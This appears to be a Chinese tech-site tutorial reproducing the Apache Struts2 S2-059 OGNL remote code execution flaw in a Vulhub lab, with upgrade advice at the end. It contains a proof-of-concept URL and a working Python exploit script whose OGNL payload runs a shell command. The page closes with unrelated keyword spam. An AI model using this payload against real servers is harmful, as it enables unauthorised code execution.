千家信息网

Apache Struts2 059远程代码执行漏洞复现实例分析

发表于:2025-12-01 作者:千家信息网编辑
千家信息网最后更新 2025年12月01日,Apache Struts2 059远程代码执行漏洞复现实例分析,针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。0x00漏洞简述202
千家信息网最后更新 2025年12月01日Apache Struts2 059远程代码执行漏洞复现实例分析

Apache Struts2 059远程代码执行漏洞复现实例分析,针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。

0x00漏洞简述

2020年08月13日,Apache官方发布了Struts2远程代码执行漏洞的风险通告,该漏洞编号为CVE-2019-0230,漏洞等级:高危,漏洞评分:8.5

漏洞产生的主要原因是因为Apache Struts框架在强制执行时,会对分配给某些标签属性(如id)的属性值执行二次ognl解析。攻击者可以通过构造恶意的OGNL表达式,并将其设置到可被外部输入进行修改,且会执行OGNL表达式的Struts2标签的属性值,引发OGNL表达式解析,最终造成远程代码执行的影响。

0x01影响版本

Apache Struts2:2.0.0-2.5.20

0x02漏洞复现

虚拟机部署docker安装Vulhub一键搭建漏洞测试靶场环境。

docker-compose up -d

1、访问漏洞环境

2、POC验证,传入ognl表达式的poc:%{yun*zui} 这里需要URL编码

http://192.168.60.131:8080/?id=%25%7Byun*zui%7D

从测试结果可以看到id属性返回了yun*zui的结果

3、简单python脚本进行漏洞利用

import requestsurl = "http://192.168.60.131:8080"data1 = {"id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"}data2 = {"id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('touch /tmp/yunzui'))}"}res1 = requests.post(url, data=data1)# print(res1.text)res2 = requests.post(url, data=data2)# print(res2.text)

运行完脚本之后,将远程执行touch /tmp/yunzui命令

4、命令执行结果进入docker查看,成功执行。

docker-compose exec struts2 bash

ls -al /tmp

0x03修复建议

升级到Struts 2.5.22或更高版本

或者开启ONGL表达式注入保护措施

关于Apache Struts2 059远程代码执行漏洞复现实例分析问题的解答就分享到这里了,希望以上内容可以对大家有一定的帮助,如果你还有很多疑惑没有解开,可以关注行业资讯频道了解更多相关知识。

漏洞 表达式 代码 属性 分析 结果 问题 实例 实例分析 命令 更多 标签 版本 环境 脚本 帮助 影响 测试 解答 易行 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 仪征华嘉软件开发有限公司 服务器安全使用 暗黑二重制版改服务器 海南超游网络技术有限公司 新沂市天气预报软件开发 顺义区信息化网络技术服务怎么样 苍南网络安全宣传红包 加大网络安全宣传 数据库vf和c语言的区别 北京电脑软件开发哪家专业 vmware虚拟化网络技术 加强全社会网络安全意识较 数据库管理及其应用教程 格来云服务器停运 数据库原理及应用技术难不难 一个软件开发员工资 学生如何提升网络安全意识 非涉密网络安全隐患有哪些 江门无线软件开发定做价格 如何查域名服务器地址 三调数据库更新 教育软件开发销售的简介咋写 数据库浮点保留两位 石排镇中心小学网络安全宣传单 禾匠商城saas版服务器配置 一个数据库中包含很多表 票房数据库技术文案 proxy代理服务器网站免费 杭州crm软件开发报价 汽车车窗功能软件开发
0